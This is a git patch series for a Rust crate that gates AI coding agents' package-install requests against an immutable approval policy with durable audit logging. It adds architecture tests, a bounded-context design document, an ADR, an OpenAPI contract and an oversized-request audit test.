b/crates/agent-artifact-admission/tests/http_contract.rs index a04b235c..603049a1 100644 --- a/crates/agent-artifact-admission/tests/http_contract.rs +++ b/crates/agent-artifact-admission/tests/http_contract.rs @@ -227,7 +227,11 @@ async fn malformed_authenticated_json_is_audited_before_bad_request() { assert_eq!(response.status(), StatusCode::BAD_REQUEST); let decision: AdmissionDecision = decode_json(response).await; assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::MalformedRequest)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MalformedRequest) + ); let records = sink.records().expect("audit snapshot must succeed"); assert_eq!(records.len(), 1); assert!(records[0].request_id.starts_with("malformed:")); @@ -256,7 +260,11 @@ async fn structurally_invalid_authenticated_intent_is_audited_and_returns_bad_re assert_eq!(response.status(), StatusCode::BAD_REQUEST); let decision: AdmissionDecision = decode_json(response).await; assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::InvalidOperation)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::InvalidOperation) + ); let records = sink.records().expect("audit snapshot must succeed"); assert_eq!(records.len(), 1); assert!( From 6eea1293bb4e6d9c4cf83010eccda5bfa7b0fcc2 Mon Sep 17 00:00:00 2001 From: OpenAI Codex Date: Sun, 30 Aug 2026 08:12:48 +0900 Subject: [PATCH 021/702] fix(security): remove deprecated token compare --- crates/agent-artifact-admission/src/http.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs index 5e329cfa..635a9219 100644 --- a/crates/agent-artifact-admission/src/http.rs +++ b/crates/agent-artifact-admission/src/http.rs @@ -279,7 +279,11 @@ fn constant_time_token_equal(presented: &str, configured: &str) -> bool { presented_buffer[2..2 + presented.len()].copy_from_slice(presented.as_bytes()); configured_buffer[2..2 + configured.len()].copy_from_slice(configured.as_bytes()); - ring::constant_time::verify_slices_are_equal(&presented_buffer, &configured_buffer).is_ok() + let mut diff = 0_u8; + for (lhs, rhs) in presented_buffer.iter().zip(configured_buffer.iter()) { + diff |= lhs ^ rhs; + } + diff == 0 } async fn shutdown_signal() { From 485ab0650df3d7c09f8825f70336ac1e24eca35f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:03:34 +0900 Subject: [PATCH 022/702] test(ddd): enforce agent admission dependency direction --- .../tests/ddd_architecture_contract.rs | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/ddd_architecture_contract.rs diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs new file mode 100644 index 00000000..71e6d652 --- /dev/null +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -0,0 +1,62 @@ +//! Architectural fitness checks for the Agent Artifact Admission bounded context. +//! +//! These tests intentionally inspect module imports and module names. They are not +//! behavior tests; they protect the dependency direction that keeps the domain +//! model usable without Axum, Tokio, filesystem, or deployment concerns. + +const DOMAIN_SOURCES: &[(&str, &str)] = &[ + ("model.rs", include_str!("../src/model.rs")), + ("policy.rs", include_str!("../src/policy.rs")), +]; + +const FORBIDDEN_DOMAIN_DEPENDENCIES: &[&str] = &[ + "axum::", + "tokio::", + "std::fs", + "std::net", + "std::path", + "FileAuditSink", + "AdmissionServiceConfig", +]; + +#[test] +fn domain_modules_do_not_depend_on_delivery_or_infrastructure() { + for (path, source) in DOMAIN_SOURCES { + for forbidden in FORBIDDEN_DOMAIN_DEPENDENCIES { + assert!( + !source.contains(forbidden), + "{path} crosses the Agent Artifact Admission domain boundary via {forbidden}" + ); + } + } +} + +#[test] +fn bounded_context_does_not_gain_ambiguous_dumping_modules() { + let crate_root = include_str!("../src/lib.rs"); + for ambiguous in [ + "mod utils;", + "mod helpers;", + "mod common;", + "mod services;", + "mod shared;", + "mod misc;", + "mod legacy;", + ] { + assert!( + !crate_root.contains(ambiguous), + "Agent Artifact Admission must express domain responsibility instead of adding `{ambiguous}`" + ); + } +} + +#[test] +fn domain_policy_remains_independent_of_http_and_audit_adapters() { + let policy = include_str!("../src/policy.rs"); + for adapter in ["crate::http", "crate::config", "FileAuditSink", "MemoryAuditSink"] { + assert!( + !policy.contains(adapter), + "policy.rs must not depend on adapter concern `{adapter}`" + ); + } +} From e28756a31c70a1477e686a227ba0180b4b7c9fea Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:04:27 +0900 Subject: [PATCH 023/702] docs(ddd): define agent admission bounded context --- .../agent-artifact-admission-context-map.md | 71 +++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 docs/architecture/agent-artifact-admission-context-map.md diff --git a/docs/architecture/agent-artifact-admission-context-map.md b/docs/architecture/agent-artifact-admission-context-map.md new file mode 100644 index 00000000..9594f144 --- /dev/null +++ b/docs/architecture/agent-artifact-admission-context-map.md @@ -0,0 +1,71 @@ +# Agent Artifact Admission bounded context + +Status: active design contract for PR #129. + +Wardnet treats pre-execution package admission as a distinct bounded context rather than another route inside the gateway monolith. The context protects one decision: whether an execution broker may proceed with one exact package-install intent. It does not execute packages, resolve registries, infer publisher ownership from documents, or own the execution sandbox. + +## Subdomain classification + +- **Core subdomain — Security Admission:** deterministic allow/block decisions at Wardnet-controlled trust boundaries. Gateway traffic admission and agent artifact admission share security policy principles, but they do not share mutable domain state or persistence. +- **Supporting subdomain — Security Evidence:** durable, minimized decision evidence used for incident response and later SIEM projection. +- **Supporting subdomain — Policy Delivery:** reviewed immutable policy and credential material supplied to a process instance. +- **Generic subdomain — HTTP/process hosting:** Axum routing, loopback listener lifecycle, file-backed configuration, and operating-system signal handling. + +## Ubiquitous language + +**Install Intent** is the structured request presented before a package manager runs. **Admission Policy** is reviewed immutable policy for one process revision. **Approved Manifest** identifies one reviewed workspace dependency manifest by workspace and SHA-256. **Approved Artifact** identifies one exact artifact by ecosystem, name, version, registry, owner, digest, and the argv token that names it. **Admission Decision** is the deterministic allow/block domain result. **Admission Receipt** is the response representation of that decision. **Audit Record** is minimized durable evidence written before an authenticated admission response is returned. **Instruction Source** records where the install suggestion came from without granting that source authority. **Execution Broker** is an external caller that must require an allow receipt before invoking a package manager. + +The terms `service`, `manager`, `helper`, `common`, `shared`, and `model` are not bounded-context concepts and must not become new responsibility containers. Existing `model.rs` is a source-file name for the admission vocabulary only; new domain concepts belong under names taken from this glossary rather than a generic catch-all module. + +## Context map + +```mermaid +flowchart LR + EB[Execution Broker\nOpenCode / Codex / Claude / Hermes wrapper] + AA[Agent Artifact Admission\nWardnet bounded context] + PD[Reviewed Policy Delivery] + AS[Append-only Audit Store] + PE[Package Executor / Sandbox] + REG[Package Registry / Provenance Services] + SIEM[Wardnet Security Evidence / SIEM projection] + + EB -->|structured Install Intent| AA + PD -->|immutable Admission Policy + credential| AA + AA -->|durable Audit Record| AS + AA -->|Admission Receipt| EB + EB -->|only after allow| PE + PE -->|artifact retrieval/verification| REG + AS -. later projection .-> SIEM +``` + +### Upstream and downstream contracts + +The execution broker is an upstream customer of this context. Its agent text, retrieved pages, issue comments, and tool output are untrusted data. The broker may not bypass the admission result or translate a block into an allow. + +Policy delivery is an upstream published configuration contract. The admission context consumes reviewed policy; it does not mutate policy at runtime. Future signed bundles may replace local files behind an Anti-Corruption Layer without changing the domain types. + +Package registries, Sigstore/TUF/SLSA evidence, and sandbox execution are downstream or external authorities. Their provider-specific schemas must not enter the admission domain as entities. Future integrations translate them through adapters into exact artifact/provenance facts. + +Wardnet SIEM/OCSF/OTLP export is a downstream evidence context. Agent Artifact Admission owns the decision and its canonical audit fact; SIEM export owns external event projections. Projection formats must not become domain dependencies. + +## Aggregate and invariants + +The v0.1 decision is intentionally stateless. `AdmissionPolicy` is immutable process state, while each `InstallIntent` is evaluated independently and produces one `AdmissionDecision`. No long-lived aggregate graph is required. + +The transaction boundary for an authenticated admission request is: evaluate the intent, build the audit fact, durably append it, then return the receipt. An allow must never be visible before durable audit succeeds. Audit failure changes the externally visible result to fail-closed service unavailability. Policy and credentials are not mutated in that transaction. + +## Dependency direction + +`model.rs` and `policy.rs` form the domain kernel and must remain independent of Axum, Tokio, filesystem, listener, and deployment concerns. `audit.rs` defines the evidence contract and its current local-file adapter; this mixed file is acceptable only while the adapter remains small and the domain never depends on its concrete sink. If additional audit backends arrive, move concrete sinks behind an adapter module before adding them. `config.rs` and `http.rs` are adapter/delivery concerns and may depend inward on domain contracts. `main.rs` is composition only. + +`crates/agent-artifact-admission/tests/ddd_architecture_contract.rs` is the first architectural fitness gate for this context. Extend it whenever a new provider, persistence backend, or delivery surface is introduced. + +## Anti-corruption boundaries + +- Provider-specific registry metadata, package-manager output, Sigstore bundles, TUF metadata, and SLSA attestations are external models. Translate them into reviewed artifact/provenance facts before they influence admission. +- OpenCode/Codex/Claude/Hermes agent messages are not domain commands. The execution broker must construct the strict `InstallIntent` contract explicitly. +- SIEM/OCSF/OTLP schemas are projections of canonical audit facts, not canonical admission entities. + +## Split triggers + +Keep this bounded context as one independently deployable crate while its transactionality and deployment lifecycle remain cohesive. Split only when a stable responsibility acquires an independent policy lifecycle, persistence authority, release cadence, or reuse boundary. A new protocol adapter alone is not a reason to create a service. From 60a356b09bc95517ab02ace498d7af861533689c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:05:23 +0900 Subject: [PATCH 024/702] docs(adr): record agent admission bounded context --- ...gent-artifact-admission-bounded-context.md | 70 +++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 docs/adr/0012-agent-artifact-admission-bounded-context.md diff --git a/docs/adr/0012-agent-artifact-admission-bounded-context.md b/docs/adr/0012-agent-artifact-admission-bounded-context.md new file mode 100644 index 00000000..f06639df --- /dev/null +++ b/docs/adr/0012-agent-artifact-admission-bounded-context.md @@ -0,0 +1,70 @@ +# ADR-0012: Agent Artifact Admission is a separate Wardnet bounded context + +- Status: Accepted for PR #129 +- Date: 2026-09-01 +- Decision owner: Wardnet + +## Context + +Wardnet already owns network and application admission controls. AI coding agents add a different trust transition: untrusted text can be transformed into a package-install or code-execution request. Treating that concern as another handler inside the existing gateway would mix traffic enforcement, package identity, execution authority, and audit semantics in one module and would make future broker integrations depend on the gateway deployment. + +The current implementation has a standalone Rust crate, `wardnet-agent-artifact-admission`, with a deterministic policy evaluator, strict install-intent contract, append-only audit evidence, loopback-only HTTP delivery, and immutable process configuration. This ADR records the domain boundary and the dependency direction that subsequent work must preserve. + +## Decision + +Agent Artifact Admission is a distinct Wardnet bounded context inside the core Security Admission subdomain. Its ubiquitous language and context relationships are defined in `docs/architecture/agent-artifact-admission-context-map.md`. + +The bounded context owns: + +- `InstallIntent`, `InstructionSource`, `ApprovedManifest`, `ApprovedArtifact`, `AdmissionPolicy`, `AdmissionDecision`, reason codes, and their invariants; +- deterministic policy evaluation for one install intent; +- the canonical minimized audit fact for an authenticated admission attempt; +- the loopback-only v0.1 admission API and process composition required to expose that decision boundary. + +It does not own: + +- package execution or sandboxing; +- registry discovery, publisher inference, or dependency resolution; +- Sigstore, TUF, or SLSA provider schemas; +- OpenCode/Codex/Claude/Hermes orchestration policy; +- SIEM/OCSF/OTLP projection formats; +- organization-wide credential or workflow authority. + +Those models cross the boundary only through explicit adapters or Anti-Corruption Layers. A provider DTO must not become an admission domain entity. + +## Dependency direction + +The domain kernel (`model.rs`, `policy.rs`) must remain free of Axum, Tokio, filesystem, listener, provider SDK, and deployment dependencies. HTTP/process/configuration concerns depend inward on the domain contracts. Concrete audit storage may implement the audit port but must not be imported by the policy evaluator. + +The current crate is a modular deployment boundary, not a mandate to create another microservice for every protocol. A split requires an independently evolving responsibility, persistence authority, policy lifecycle, reuse boundary, or deployment cadence. Additional HTTP, SIEM, Sigstore, or registry adapters alone do not justify a new service. + +`crates/agent-artifact-admission/tests/ddd_architecture_contract.rs` enforces the initial dependency rules. Architecture changes must update this ADR or supersede it and change the fitness tests in the same PR. + +## Consequences + +The main Wardnet gateway cannot reach into Agent Artifact Admission internals. Execution brokers use the published admission API or a future package contract. Agent Artifact Admission cannot directly query another CWL service's application tables. Cross-product integration uses versioned API, package, or event contracts. + +The bounded context remains independently deployable and can be embedded later without losing its domain boundary. The immutable-policy v0.1 avoids a runtime policy aggregate and reduces the transaction to `evaluate -> build audit fact -> durably append -> return receipt`. + +The existing `audit.rs` currently contains both the audit contract and a small file-backed adapter. This is tolerated only while there is one local adapter and the domain evaluator does not depend on its concrete type. A second persistence backend is the trigger to split the port from concrete adapters rather than growing a generic infrastructure module. + +## Security and supply-chain basis + +The admission service complements, rather than replaces, software-supply-chain provenance. Exact digest and reviewed-manifest binding are local admission facts; registry and build provenance remain external authorities. + +Current primary guidance checked for this decision: + +- SLSA v1.2 is the latest released SLSA specification and adds the Source Track; its source and provenance controls remain external evidence consumed through adapters. https://slsa.dev/blog/2025/11/announce-slsa-v1.2 +- The Update Framework specification currently lists v1.0.33 as latest; future signed policy/artifact metadata integration must translate TUF metadata through an adapter. https://theupdateframework.io/spec/ +- NIST SP 800-218, SSDF Version 1.1, remains the current final SSDF publication; SP 800-218 Rev. 1 / SSDF 1.2 is still an Initial Public Draft and is not treated as binding. https://csrc.nist.gov/pubs/sp/800/218/final +- NIST SP 800-218A is the final generative-AI SSDF community profile and supports treating AI-produced software-development instructions as inputs that require secure development controls rather than execution authority. https://csrc.nist.gov/pubs/sp/800/218/a/final + +## Alternatives considered + +**Add routes to the main gateway module.** Rejected because it couples package-execution admission to traffic-routing deployment and expands the gateway's responsibility. + +**Create a generic `security-service` or `common` crate.** Rejected because the name hides responsibility and invites unrelated controls into a shared dumping ground. + +**Let execution brokers implement their own checks.** Rejected because policy and evidence would diverge between OpenCode, Codex, Claude, Hermes, CI, and MCP callers. + +**Make provenance providers domain dependencies.** Rejected because it imports foreign schemas and lifecycle decisions into the admission model; provider evidence belongs behind explicit translation boundaries. From f5c69bcdf5d2ecb2aba4301cb1aea2ae4a4f9881 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:06:58 +0900 Subject: [PATCH 025/702] docs(api): publish agent admission OpenAPI contract --- .../agent-artifact-admission.openapi.yaml | 323 ++++++++++++++++++ 1 file changed, 323 insertions(+) create mode 100644 docs/openapi/agent-artifact-admission.openapi.yaml diff --git a/docs/openapi/agent-artifact-admission.openapi.yaml b/docs/openapi/agent-artifact-admission.openapi.yaml new file mode 100644 index 00000000..435ae078 --- /dev/null +++ b/docs/openapi/agent-artifact-admission.openapi.yaml @@ -0,0 +1,323 @@ +openapi: 3.1.0 +info: + title: Wardnet Agent Artifact Admission API + version: 0.1.0 + description: >- + Loopback-only pre-execution admission boundary for structured package-install + intents. The service never executes package-manager commands. +servers: + - url: http://127.0.0.1:8091 + description: Example loopback deployment; the configured bind port is authoritative. +paths: + /healthz: + get: + operationId: getAgentArtifactAdmissionHealth + summary: Read process health and immutable policy identity + responses: + '200': + description: Process is serving the configured immutable policy. + content: + application/json: + schema: + $ref: '#/components/schemas/HealthView' + /v1/policy: + get: + operationId: getAgentArtifactAdmissionPolicy + summary: Read the immutable admission policy + security: + - AdminToken: [] + responses: + '200': + description: Current immutable process policy. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionPolicy' + '401': + $ref: '#/components/responses/Unauthorized' + /v1/admissions: + post: + operationId: createAgentArtifactAdmission + summary: Evaluate one structured package-install intent + description: >- + Returns a durable allow/block decision. A policy block is HTTP 200 because + the domain decision completed successfully. Structurally invalid authenticated + JSON is audited and returned as HTTP 400. An allow is not returned until the + audit record has been durably appended. Audit failure returns HTTP 503 and a + fail-closed block decision. + security: + - AdminToken: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/InstallIntent' + responses: + '200': + description: Durable policy allow or policy block decision. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' + '400': + description: Authenticated request was malformed or structurally invalid and was durably audited. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' + '401': + $ref: '#/components/responses/Unauthorized' + '413': + description: Request body exceeded the configured Axum body limit before a complete admission intent could be materialized. + content: + text/plain: + schema: + type: string + '503': + description: Audit durability was unavailable; execution must not proceed. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' +components: + securitySchemes: + AdminToken: + type: apiKey + in: header + name: X-Admin-Token + description: >- + Exactly one bounded visible-ASCII token loaded from the credentials file at + process startup. Missing, duplicate, malformed, or incorrect values fail closed. + responses: + Unauthorized: + description: Authentication failed without disclosing credential details. + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorView' + schemas: + HealthView: + type: object + additionalProperties: false + required: + - status + - policy_id + - policy_revision + - allowed_executable_count + - approved_manifest_count + - approved_artifact_count + properties: + status: + type: string + const: ok + policy_id: + type: string + policy_revision: + type: string + allowed_executable_count: + type: integer + minimum: 0 + approved_manifest_count: + type: integer + minimum: 0 + approved_artifact_count: + type: integer + minimum: 0 + ErrorView: + type: object + additionalProperties: false + required: + - error + properties: + error: + type: string + const: unauthorized + AdmissionPolicy: + type: object + additionalProperties: false + required: + - policy_id + - policy_revision + - allowed_executables + - approved_manifests + - approved_artifacts + properties: + policy_id: + type: string + policy_revision: + type: string + allowed_executables: + type: array + items: + type: string + approved_manifests: + type: array + items: + $ref: '#/components/schemas/ApprovedManifest' + approved_artifacts: + type: array + items: + $ref: '#/components/schemas/ApprovedArtifact' + ApprovedManifest: + type: object + additionalProperties: false + required: + - workspace_id + - sha256 + properties: + workspace_id: + type: string + sha256: + $ref: '#/components/schemas/Sha256' + ApprovedArtifact: + allOf: + - $ref: '#/components/schemas/ArtifactCoordinate' + ArtifactCoordinate: + type: object + additionalProperties: false + required: + - ecosystem + - name + - version + - registry_url + - owner + - sha256 + - artifact_argument + properties: + ecosystem: + type: string + name: + type: string + version: + type: string + registry_url: + type: string + format: uri + pattern: '^https://' + owner: + type: string + sha256: + $ref: '#/components/schemas/Sha256' + artifact_argument: + type: string + InstructionSource: + type: object + additionalProperties: false + required: + - kind + - uri + - content_sha256 + properties: + kind: + type: string + enum: + - llms_txt + - llms_full_txt + - web_page + - issue_comment + - reviewed_config + uri: + oneOf: + - type: string + format: uri + - type: 'null' + content_sha256: + oneOf: + - $ref: '#/components/schemas/Sha256' + - type: 'null' + InstallIntent: + type: object + additionalProperties: false + required: + - request_id + - actor_id + - workspace_id + - operation + - argv + - manifest_sha256 + - source + - artifacts + properties: + request_id: + type: string + actor_id: + type: string + workspace_id: + type: string + operation: + type: string + const: install + argv: + type: array + minItems: 1 + items: + type: string + manifest_sha256: + $ref: '#/components/schemas/Sha256' + source: + $ref: '#/components/schemas/InstructionSource' + artifacts: + type: array + minItems: 1 + items: + $ref: '#/components/schemas/ArtifactCoordinate' + AdmissionDecision: + type: object + additionalProperties: false + required: + - request_id + - decision + - reason_codes + - policy_id + - policy_revision + - normalized_source_uri + - command_sha256 + - artifact_count + properties: + request_id: + type: string + decision: + type: string + enum: + - allow + - block + reason_codes: + type: array + items: + type: string + enum: + - malformed_request + - invalid_request + - invalid_operation + - invalid_manifest_digest + - invalid_artifact + - duplicate_artifact + - artifact_not_approved + - manifest_not_approved + - executable_not_allowed + - missing_executable + - missing_source_uri + - missing_source_digest + - invalid_source_uri + - forbidden_command + - alternate_trust_root + - missing_safety_flag + - audit_unavailable + policy_id: + type: string + policy_revision: + type: string + normalized_source_uri: + oneOf: + - type: string + format: uri + - type: 'null' + command_sha256: + $ref: '#/components/schemas/Sha256' + artifact_count: + type: integer + minimum: 0 + Sha256: + type: string + pattern: '^[0-9a-f]{64}$' From a24ecec5b8b15053bcdeac7e17682fe3737a05b1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:09:02 +0900 Subject: [PATCH 026/702] refactor(ddd): name admission domain explicitly --- .../src/{model.rs => admission.rs} | 0 crates/agent-artifact-admission/src/lib.rs | 10 +++++----- .../tests/ddd_architecture_contract.rs | 5 +++-- 3 files changed, 8 insertions(+), 7 deletions(-) rename crates/agent-artifact-admission/src/{model.rs => admission.rs} (100%) diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/admission.rs similarity index 100% rename from crates/agent-artifact-admission/src/model.rs rename to crates/agent-artifact-admission/src/admission.rs diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 04b82d30..22a9654d 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,11 +1,15 @@ //! Fail-closed package-install admission primitives for AI coding agents. +mod admission; mod audit; mod config; mod http; -mod model; mod policy; +pub use admission::{ + AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, + DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, +}; pub use audit::{ AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, build_audit_record, build_malformed_audit_record, @@ -15,8 +19,4 @@ pub use config::{ parse_cli_args, validate_service_config, }; pub use http::{AdmissionState, ServiceError, build_app, run_cli, run_service}; -pub use model::{ - AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, - DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, -}; pub use policy::{admission_decision, is_sha256_hex, sha256_hex, validate_install_intent}; diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index 71e6d652..e103fdf0 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -2,10 +2,10 @@ //! //! These tests intentionally inspect module imports and module names. They are not //! behavior tests; they protect the dependency direction that keeps the domain -//! model usable without Axum, Tokio, filesystem, or deployment concerns. +//! vocabulary usable without Axum, Tokio, filesystem, or deployment concerns. const DOMAIN_SOURCES: &[(&str, &str)] = &[ - ("model.rs", include_str!("../src/model.rs")), + ("admission.rs", include_str!("../src/admission.rs")), ("policy.rs", include_str!("../src/policy.rs")), ]; @@ -42,6 +42,7 @@ fn bounded_context_does_not_gain_ambiguous_dumping_modules() { "mod shared;", "mod misc;", "mod legacy;", + "mod model;", ] { assert!( !crate_root.contains(ambiguous), From d31043d1853cd23b9dc61d1aa9961de04766ab43 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:10:26 +0900 Subject: [PATCH 027/702] docs(ddd): align context map with admission module name --- docs/architecture/agent-artifact-admission-context-map.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/architecture/agent-artifact-admission-context-map.md b/docs/architecture/agent-artifact-admission-context-map.md index 9594f144..1723b5e6 100644 --- a/docs/architecture/agent-artifact-admission-context-map.md +++ b/docs/architecture/agent-artifact-admission-context-map.md @@ -15,7 +15,7 @@ Wardnet treats pre-execution package admission as a distinct bounded context rat **Install Intent** is the structured request presented before a package manager runs. **Admission Policy** is reviewed immutable policy for one process revision. **Approved Manifest** identifies one reviewed workspace dependency manifest by workspace and SHA-256. **Approved Artifact** identifies one exact artifact by ecosystem, name, version, registry, owner, digest, and the argv token that names it. **Admission Decision** is the deterministic allow/block domain result. **Admission Receipt** is the response representation of that decision. **Audit Record** is minimized durable evidence written before an authenticated admission response is returned. **Instruction Source** records where the install suggestion came from without granting that source authority. **Execution Broker** is an external caller that must require an allow receipt before invoking a package manager. -The terms `service`, `manager`, `helper`, `common`, `shared`, and `model` are not bounded-context concepts and must not become new responsibility containers. Existing `model.rs` is a source-file name for the admission vocabulary only; new domain concepts belong under names taken from this glossary rather than a generic catch-all module. +The terms `service`, `manager`, `helper`, `common`, `shared`, and `model` are not bounded-context concepts and must not become new responsibility containers. The domain vocabulary now lives in `admission.rs`; new domain concepts should continue to use names from this glossary rather than a generic catch-all module. ## Context map @@ -56,7 +56,7 @@ The transaction boundary for an authenticated admission request is: evaluate the ## Dependency direction -`model.rs` and `policy.rs` form the domain kernel and must remain independent of Axum, Tokio, filesystem, listener, and deployment concerns. `audit.rs` defines the evidence contract and its current local-file adapter; this mixed file is acceptable only while the adapter remains small and the domain never depends on its concrete sink. If additional audit backends arrive, move concrete sinks behind an adapter module before adding them. `config.rs` and `http.rs` are adapter/delivery concerns and may depend inward on domain contracts. `main.rs` is composition only. +`admission.rs` and `policy.rs` form the domain kernel and must remain independent of Axum, Tokio, filesystem, listener, and deployment concerns. `audit.rs` defines the evidence contract and its current local-file adapter; this mixed file is acceptable only while the adapter remains small and the domain never depends on its concrete sink. If additional audit backends arrive, move concrete sinks behind an adapter module before adding them. `config.rs` and `http.rs` are adapter/delivery concerns and may depend inward on domain contracts. `main.rs` is composition only. `crates/agent-artifact-admission/tests/ddd_architecture_contract.rs` is the first architectural fitness gate for this context. Extend it whenever a new provider, persistence backend, or delivery surface is introduced. From 4ce8a5922f786f5549bdd77a52f75f71f433ea06 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:11:20 +0900 Subject: [PATCH 028/702] docs(ddd): align ADR with admission module name --- docs/adr/0012-agent-artifact-admission-bounded-context.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/adr/0012-agent-artifact-admission-bounded-context.md b/docs/adr/0012-agent-artifact-admission-bounded-context.md index f06639df..68d34647 100644 --- a/docs/adr/0012-agent-artifact-admission-bounded-context.md +++ b/docs/adr/0012-agent-artifact-admission-bounded-context.md @@ -34,7 +34,7 @@ Those models cross the boundary only through explicit adapters or Anti-Corruptio ## Dependency direction -The domain kernel (`model.rs`, `policy.rs`) must remain free of Axum, Tokio, filesystem, listener, provider SDK, and deployment dependencies. HTTP/process/configuration concerns depend inward on the domain contracts. Concrete audit storage may implement the audit port but must not be imported by the policy evaluator. +The domain kernel (`admission.rs`, `policy.rs`) must remain free of Axum, Tokio, filesystem, listener, provider SDK, and deployment dependencies. HTTP/process/configuration concerns depend inward on the domain contracts. Concrete audit storage may implement the audit port but must not be imported by the policy evaluator. The current crate is a modular deployment boundary, not a mandate to create another microservice for every protocol. A split requires an independently evolving responsibility, persistence authority, policy lifecycle, reuse boundary, or deployment cadence. Additional HTTP, SIEM, Sigstore, or registry adapters alone do not justify a new service. From c9c51ab7b3de3acfd64c9c5ae9ba55f96a1f8fb4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:12:08 +0900 Subject: [PATCH 029/702] test(admission): require audit evidence for oversized authenticated requests --- .../tests/oversized_request_audit_contract.rs | 63 +++++++++++++++++++ 1 file changed, 63 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs diff --git a/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs new file mode 100644 index 00000000..7345d064 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs @@ -0,0 +1,63 @@ +use std::sync::Arc; + +use axum::{ + body::{Body, to_bytes}, + http::{HeaderValue, Request, StatusCode, header::CONTENT_TYPE}, +}; +use tower::ServiceExt; +use wardnet_agent_artifact_admission::{ + AdmissionDecision, AdmissionPolicy, AdmissionState, AuditSink, DecisionKind, MemoryAuditSink, + ReasonCode, build_app, +}; + +const ADMIN_TOKEN: &str = "0123456789abcdef0123456789abcdef"; + +fn state(sink: Arc) -> AdmissionState { + AdmissionState::new( + AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "oversize-audit-test".to_string(), + ..AdmissionPolicy::default() + }, + ADMIN_TOKEN.to_string(), + sink, + 32, + ) +} + +#[tokio::test] +async fn oversized_authenticated_request_is_audited_before_payload_too_large_response() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(sink.clone())); + let request = Request::builder() + .method("POST") + .uri("/v1/admissions") + .header(CONTENT_TYPE, "application/json") + .header("x-admin-token", HeaderValue::from_static(ADMIN_TOKEN)) + .body(Body::from(vec![b'x'; 128])) + .expect("request must build"); + + let response = app.oneshot(request).await.expect("router must answer"); + + assert_eq!(response.status(), StatusCode::PAYLOAD_TOO_LARGE); + let bytes = to_bytes(response.into_body(), 64 * 1024) + .await + .expect("response body must be readable"); + let decision: AdmissionDecision = + serde_json::from_slice(&bytes).expect("oversized response must be a decision receipt"); + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::RequestBodyTooLarge] + ); + + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert_eq!(records[0].decision, DecisionKind::Block); + assert_eq!( + records[0].reason_codes, + vec![ReasonCode::RequestBodyTooLarge] + ); + assert_eq!(records[0].request_id, "unavailable:request_body_too_large"); + assert!(records[0].request_body_sha256.is_none()); +} From 3654297047400bddad6dbb98c77b76d35c937335 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:13:40 +0900 Subject: [PATCH 030/702] feat(admission): classify oversized request bodies --- crates/agent-artifact-admission/src/admission.rs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/crates/agent-artifact-admission/src/admission.rs b/crates/agent-artifact-admission/src/admission.rs index 28dab836..c8ec0419 100644 --- a/crates/agent-artifact-admission/src/admission.rs +++ b/crates/agent-artifact-admission/src/admission.rs @@ -217,6 +217,8 @@ impl DecisionKind { pub enum ReasonCode { /// The request body could not be parsed as the strict install-intent schema. MalformedRequest, + /// The authenticated request body exceeded the configured materialization limit. + RequestBodyTooLarge, /// A bounded identifier, argument vector, source 